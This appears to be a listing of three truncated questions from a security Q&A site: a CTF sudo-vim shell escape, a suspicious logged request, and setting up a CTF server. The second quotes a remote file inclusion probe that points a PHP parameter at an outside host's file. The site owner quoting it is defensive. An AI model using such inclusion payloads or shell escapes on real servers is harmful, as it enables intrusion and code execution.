I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://18.104.22.168/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...